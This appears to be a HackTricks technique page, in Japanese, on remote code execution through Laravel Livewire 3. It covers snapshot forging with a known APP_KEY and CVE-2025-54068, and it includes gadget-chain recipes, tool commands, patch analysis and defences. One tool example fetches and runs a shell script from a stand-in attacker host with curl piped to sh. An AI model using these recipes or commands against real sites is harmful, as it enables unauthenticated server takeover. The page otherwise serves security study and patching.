Laravel Livewire Hydration & Synthesizer Abuse

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート

Livewire state machine の復習

Livewire 3 のコンポーネントは、datamemo、および checksum を含む snapshots を通じて state をやり取りします。/livewire/update への各 POST で、JSON snapshot が server-side で rehydrate され、キューに入った calls/updates が実行されます。

class Checksum {
static function verify($snapshot) {
$checksum = $snapshot['checksum'];
unset($snapshot['checksum']);
if ($checksum !== self::generate($snapshot)) {
throw new CorruptComponentPayloadException;
}
}

static function generate($snapshot) {
return hash_hmac('sha256', json_encode($snapshot), $hashKey);
}
}

APP_KEY$hashKey の導出に使われる)を持っている者は、HMAC を再計算することで任意の snapshot を偽造できる。

複雑な properties は Livewire\Drawer\BaseUtils::isSyntheticTuple() によって検出される synthetic tuples としてエンコードされる。各 tuple は [value, {"s":"<key>", ...meta}] である。hydration core は単純に各 tuple を HandleComponents::$propertySynthesizers で選択された synth に委譲し、子要素を再帰処理する:

protected function hydrate($valueOrTuple, $context, $path)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);
return $synth->hydrate($value, $meta, fn ($name, $child)
=> $this->hydrate($child, $context, "{$path}.{$name}"));
}

この再帰的な設計により、Livewireは、攻撃者がタプルのメタデータ、または再帰中に処理される任意のネストされたタプルのどちらかを制御できる場合、汎用オブジェクト生成エンジンになります。

gadgetプリミティブを付与する Synthesizer

Synthesizer攻撃者が制御できる挙動
CollectionSynth (clctn)各子をrehydratingした後に new $meta['class']($value) を実行します。配列コンストラクタを持つ任意のクラスを生成でき、各アイテム自体も synthetic tuple にできます。
FormObjectSynth (form)new $meta['class']($component, $path) を呼び出し、その後 $hydrateChild 経由で攻撃者制御の子からすべての public プロパティを代入します。2つの loosely typed なパラメータ(またはデフォルト引数)を受け取るコンストラクタがあれば、任意の public プロパティに到達できます。
ModelSynth (mdl)metakey がない場合、return new $class; を実行し、攻撃者の制御下にある任意のクラスをゼロ引数で instantiation できます。

Synth はネストされた各要素に対して $hydrateChild を呼び出すため、タプルを再帰的に積み重ねることで任意の gadget graph を構築できます。

APP_KEY が分かっている場合の snapshot 偽造

  1. 正当な /livewire/update リクエストをキャプチャし、components[0].snapshot を decode します。
  2. gadget クラスを指すネストされたタプルを注入し、checksum = hash_hmac('sha256', json_encode(snapshot_without_checksum), APP_KEY) を再計算します。
  3. snapshot を再 encode し、_token/memo はそのままにして、リクエストを replay します。

最小限の実行証明には Guzzle の FnStreamFlysystem の ShardedPrefixPublicUrlGenerator を使います。1つ目のタプルで FnStream をコンストラクタデータ { "__toString": "phpinfo" } 付きで instantiation し、次のタプルで ShardedPrefixPublicUrlGenerator$prefixes として [FnStreamInstance] 付きで instantiation します。Flysystem が各 prefix を string にキャストすると、PHP は攻撃者が提供した __toString callable を呼び出し、引数なしで任意の関数を呼べます。

function call から完全な RCE へ

Livewire の instantiation プリミティブを利用して、Synacktiv は phpggc の Laravel/RCE4 チェーンを適応させ、hydration が public な Queueable state により deserialization を引き起こすオブジェクトを起動するようにしました。

  1. Queueable traitIlluminate\Bus\Queueable を使う任意のオブジェクトは public な $chained を公開し、dispatchNextJobInChain()unserialize(array_shift($this->chained)) を実行します。
  2. BroadcastEvent wrapperIlluminate\Broadcasting\BroadcastEvent (ShouldQueue) は、public な $chained を埋めた状態で CollectionSynth / FormObjectSynth 経由で instantiation されます。
  3. phpggc Laravel/RCE4Adapted$chained[0] に保存された serialized blob が PendingBroadcast -> Validator -> SerializableClosure\Serializers\Signed を構築します。最後に Signed::__invoke()call_user_func_array($closure, $args) を呼び出し、system($cmd) を可能にします。
  4. Stealth termination[new Laravel\Prompts\Terminal(), 'exit'] のような第2の FnStream callable を渡すことで、リクエストは目立つ exception ではなく exit() で終了し、HTTP response をきれいに保てます。

snapshot 偽造の自動化

synacktiv/laravel-crypto-killer は現在、すべてをつなぎ合わせる livewire mode を提供しています:

./laravel_crypto_killer.py exploit -e livewire -k base64:APP_KEY \
-j request.json --function system -p "bash -c 'id'"

このツールは取得した snapshot を解析し、gadget の tuple を注入し、checksum を再計算して、送信用の /livewire/update payload を出力する。

CVE-2025-54068 – APP_KEY なしでの RCE

vendor advisory によると、この issue は Livewire v3 (>= 3.0.0-beta.1 and <= 3.6.3) に影響し、v3 固有である。

updates は、snapshot checksum の検証に component state にマージされる。snapshot 内の property が synthetic tuple である場合(またはそうなる場合)、Livewire は attacker-controlled な update value を hydrating しながらその meta を再利用する:

protected function hydrateForUpdate($raw, $path, $value, $context)
{
$meta = $this->getMetaForPath($raw, $path);
if ($meta) {
return $this->hydrate([$value, $meta], $context, $path);
}
}

Exploit recipe:

  1. Livewire component で型指定されていない public property を見つける(例: public $count;)。
  2. その property を [] に設定する update を送る。次の snapshot では [[], {"s": "arr"}] として保存される。

最小の type-juggling フローは次のようになる:

POST /livewire/update
...
"updates": {"count": []}

その後、次の snapshot は arr synthesizer の metadata を保持する tuple を保存する:

"count": [[], {"s": "arr"}]
  1. その property に、[ <payload>, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"} ] のような tuple を埋め込んだ、より深くネストした array を含む別の updates payload を作る。
  2. 再帰処理中に hydrate() は各 nested child を個別に評価するため、外側の tuple と checksum が変わっていなくても、攻撃者が選んだ synth keys/classes がそのまま使われる。
  3. 同じ CollectionSynth/FormObjectSynth の primitive を再利用して、$chained[0] に phpggc payload を含む Queueable gadget を instantiate する。Livewire は偽造された updates を処理し、dispatchNextJobInChain() を呼び出し、APP_KEY を知らなくても system(<cmd>) に到達する。

これが成立する主な理由:

  • updates は snapshot checksum の対象外。
  • getMetaForPath() は、たとえ attacker が以前の weak typing によってその property を tuple に変えたとしても、その property にすでに存在していた synth metadata を信頼する。
  • 再帰処理と weak typing により、各 nested array を新しい tuple として解釈できるため、最終的に任意の synth keys と任意の classes が hydration まで到達する。

高価値な pre-auth target: Filament login forms

Livewire 上で構築されたアプリケーションは、単純な public $count; property よりもさらに簡単な pre-auth surface を公開していることが多い。例えば、Filament の login page は、snapshot 内ですでに form tuple として serialized されている、weakly typed な $form object を hydrate するのが一般的である。これにより、「scalar -> array -> arr tuple」の準備ステップが完全に不要になる:

  • snapshot にはすでに {"form":[{...},{"s":"form","class":"App\\Livewire\\Forms\\LoginForm"}]} のようなものが含まれている。
  • 攻撃者は updates.form に nested malicious tuples を直接送れる。再帰処理が最終的に [payload, {"s":"clctn","class":"GuzzleHttp\\Psr7\\FnStream"}] のような children を再解釈するためである。
  • そのため、FormObjectSynth objects を公開している pre-auth の Livewire entrypoint は特に魅力的である。instantiate と public-property assignment の両方をすでに提供しているからである。

Patch analysis: update recursion 中に raw metadata を保持する

修正では専用の hydratePropertyUpdate() 経路が導入され、nested update values が attacker-controlled な children に対して generic な hydrate($child, ...) を呼ばなくなった:

protected function hydratePropertyUpdate($valueOrTuple, $context, $path, $raw)
{
if (! Utils::isSyntheticTuple($value = $tuple = $valueOrTuple)) return $value;
[$value, $meta] = $tuple;
$synth = $this->propertySynth($meta['s'], $context, $path);

return $synth->hydrate($value, $meta, function ($name, $child) use ($context, $path, $raw) {
return $this->hydrateForUpdate($raw, "{$path}.{$name}", $child, $context);
});
}

パッチのセキュリティへの影響:

  • Nested updates は、新しく攻撃者が供給した tuple metadata を信頼するのではなく、元の raw snapshot path に対して再検証されるようになった。
  • Recursive hydration により、子が途中で sclass を再定義することはできなくなった。
  • これにより、nested update arrays 内での任意の synthesizer switching と任意の class selection の両方が防止される。

Livepyre – end-to-end exploitation

Livepyre は、APP_KEY-less CVE と signed-snapshot path の両方を自動化する:

  • デプロイされた Livewire のバージョンを <script src="/livewire/livewire.js?id=HASH">(または ?v=HASH)を解析して判別し、その hash を脆弱なリリースに対応付ける。
  • 無害なアクションを再実行し、components[].snapshot を抽出することで baseline snapshots を収集する。
  • updates のみの payload(CVE-2025-54068)または、phpggc chain を埋め込んだ forged snapshot(既知の APP_KEY)を生成する。
  • snapshot 内に object-typed parameter が見つからない場合、Livepyre は coercible property に到達するために candidate params を brute-force する。

典型的な使用法:

# CVE-2025-54068, unauthenticated
python3 Livepyre.py -u https://target/livewire/component -f system -p id

# Signed snapshot exploit with known APP_KEY
python3 Livepyre.py -u https://target/livewire/component -a base64:APP_KEY \
-f system -p "bash -c 'curl attacker/shell.sh|sh'"

-c/--check は非破壊の probe を実行し、-F は version gating をスキップし、-H-P は custom headers または proxies を追加し、--function/--param は gadget chain によって呼び出される php function をカスタマイズする。

Defensive considerations

  • 修正済みの Livewire builds (>= 3.6.4 according to the vendor bulletin) に upgrade し、CVE-2025-54068 に対する vendor patch を deploy する。
  • Livewire components では weakly typed な public properties を避ける; 明示的な scalar types により、property values が arrays/tuples に coercion されるのを防げる。
  • 本当に必要な synthesizers だけを register し、user-controlled metadata ($meta['class']) を untrusted として扱う。
  • 明示的に allowed されていない限り、property の JSON type を変更する updates を reject する (例: scalar -> array)。また、古い tuples を再利用せず synth metadata を再 derive する。
  • どのように code-base が patched されていても offline snapshot forging を可能にするため、いかなる disclosure の後でも速やかに APP_KEY を rotate する。

References

Tip

AWS Hackingを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hackingを学び、実践する: HackTricks Training GCP Red Team Expert (GRTE)
Az Hackingを学び、実践する: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks Trainingの全カタログ を閲覧して、評価トラック(ARTA/GRTA/AzRTA)と Linux Hacking Expert (LHE) を確認してください。

HackTricksをサポート